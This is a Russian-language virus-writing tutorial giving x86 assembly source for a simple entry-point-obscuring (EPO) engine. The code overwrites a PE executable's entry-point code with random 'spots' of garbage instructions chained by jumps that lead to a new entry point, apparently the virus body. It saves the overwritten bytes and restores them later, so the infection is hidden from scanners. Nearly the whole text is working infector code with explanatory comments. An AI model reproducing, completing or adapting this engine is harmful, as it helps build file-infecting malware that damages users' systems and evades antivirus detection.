Построение простого EPO мотора №2
;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; spots: ; Подпрограмма генерации ; пятен mov ecx,1 ; Кладём в ecx единицу ; call reset ; Подготавливаем данные call num_spots ; Генерируем случайное число ; это будет кол-во пятен tred: call save_bytes ; Сохраняем затираемы байты call gen_spot ; Генерируем пятно inc ecx ; Увеличиваем ecx на единицу cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы jne tred ; Если нет, то генерируем call save_bytes ; Сохраняем последние байты call gen_final_spot ; И генерируем последнее ; пятно ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; gen_spot: ; Подпрограмма генерации ; одного пятна push eax ecx ; Сохраняем eax и ecx call len_sp_jmp ; Получаем случайную длину xchg eax,ebx ; прыжка пятна call testing ; Проверяем, чтобы пятно jc quit2 ; не выходило за кодовую ; секцию push ebx xor bx,bx dec bx mov ecx,[ebp+num1] ; Генерируем первую партию call garbage ; мусора pop ebx mov al,0e9h ; stosb ; mov eax,0 ; Генерируем jmp add eax,ebx ; add eax,ecx ; stosd ; push ebx xor bx,bx dec bx mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусора pop ebx sub edi,[ebp+num2] ; add edi,[ebp+num1] ; Корректируем edi add edi,ebx ; quit2: pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot: ; Подпрограмма генерации ; финального пятна push eax ecx ; Сохраняем eax и ecx jc not_big ; Если длина не превышает inc [ebp+n_spots] ; размера кодовой секции, то not_big: ; Увеличим кол-во пятен mov ecx,[ebp+num1] ; Генерируем мусорные call garbage ; инструкции push edi ; Сохраняем edi sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a mov ebx,edi ; для последнего пятна pop edi ; Восстанавливаем edi mov al,0e9h ; stosb ; mov eax,0 ; sub eax,5 ; Генерируем финальное sub eax,ebx ; пятно add eax,[ebp+new_eip] ; sub eax,[ebp+old_eip] ; stosd ; mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусорных инструкций pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; ADDRESS OF SAVING BYTES -> EDI ; ; QUANTITY OF BYTES -> EBX ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; save_bytes: ; Подпрограмма сохранения ; заменяемых байт pusha ; Сохраняем всё в стэке call length1 ; Генерируем длины мусорных ; инструкций mov ebx,[ebp+num1] ; Помещаем в ebx первую add ebx,[ebp+num2] ; и вторую длины add ebx,5 ; Добавляем к ebx - 5 mov esi,edi ; Сохраняем в буфере с mov edi,[ebp+pointer] ; начала смещение в памяти mov eax,esi ; на сохраняемые байты stosd ; mov ecx,ebx ; После этого сохраняем в mov eax,ecx ; буфере кол-во сохраняемых stosd ; байт rep movsb ; И в самом конце сохраняем mov [ebp+pointer],edi ; в буфере сами байты ; popa ; Вынимаем всё из стека ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; OLD ENTRY POINT -> EBX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; restore: ; Подпрограмма ; восстановления сохранённых ; байт cld ; Поиск вперёд lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер mov edx,1 ; В edx кладём - 1 not_enough: mov edi,[ebp+old_eip] ; В edi загружаем точку add edi,[ebp+image_base] ; входа mov ebx,edi ; Сохраняем edi в ebx lodsd ; В eax старое смещение ; байт в памяти sub eax,[ebp+start_code] ; Отнимаем смещение начала ; кода и добавляем add edi,eax ; точку входа lodsd ; Загружаем в eax кол-во mov ecx,eax ; байт и кладём их в ecx rep movsb ; Перемещаем оригинальные ; байты на старое место inc edx ; Переходим к следующему cmp edx,[ebp+n_spots] ; пятну jl not_enough ; если не все пятна вернули, ; то восстанавливаем дальше quit: ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; LENGTH SPOT GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; length1: ; Подпрограмма генерации ; длин мусорных инструкций mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz length1 ; mov [ebp+num1],eax ; Сохраняем его в переменную rand2: mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz rand2 ; mov [ebp+num2],eax ; Сохраняем его в вторую ; переменную ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESET SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; reset: ; Подпрограмма инициализации ; переменных mov edi,[ebp+start_code] ; ; push esi ; Инициализируем переменные lea esi,[ebp+rest_bytes] ; mov [ebp+pointer],esi ; pop esi ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; LENGTH OF SPOT JUMP -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; len_sp_jmp: ; Подпрограмма генерации ; длины прыжка mov eax,150 ; call brandom32 ; Генерируем случайное число cmp eax,45 ; в диапазоне 45..149 jle len_sp_jmp ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS NUMBER GENERATION SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots: ; Подпрограмма генерации ; количества пятен pusha ; Сохраняем всё в стеке mov eax,40 ; Генерируем случайное число call brandom32 ; в диапазоне 1..40 inc eax ; И сохраняем его в mov [ebp+n_spots],eax ; переменной popa ; Вынимаем всё из стэка ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxx; ; TESTING SUBROUTINE ; ;--------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;--------------------------; ; [ OUT ] ; ; ; ; CARRY FLAG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxx; testing: ; Подпрограмма проверки ; попадания в границу секции push edi eax ; Сохраняем edi eax в стэке add edi,[ebp+num1] ; Добавим к edi 1-ую длину ; мусорных инструкций add edi,[ebp+num2] ; После этого добавим 2-ую add edi,300 ; И добавим число в которое ; входит максимальный размер ; пятна + длина его прыжка mov eax,[ebp+size_for_spot] ; В eax загрузим размер ; места для пятен и смещение add eax,[ebp+start_code] ; в памяти точки входа cmp edi,eax ; Сравним eax и edi clc ; Сбросим carry флаг jl m_space ; Если edi меньше, то все ; хорошо mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем inc [ebp+n_spots] ; количество пятен и stc ; устанавливаем carry флаг m_space: pop eax edi ; Вынимаем eax и edi ret ; Возврат из процедуры ;--------------------------; pointer dd 0 ; n_spots dd 0 ; ; num1 dd 0 ; num2 dd 0 ; ; Данные необходимые для PE_header dd 0 ; работы мотора old_eip dd 0 ; image_base dd 0 ; start_code dd 0 ; new_eip dd 0 ; map_address dd 0 ; size_for_spot dd 0 ; rest_bytes: db 2100 dup (?) ; ;--------------------------; В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile)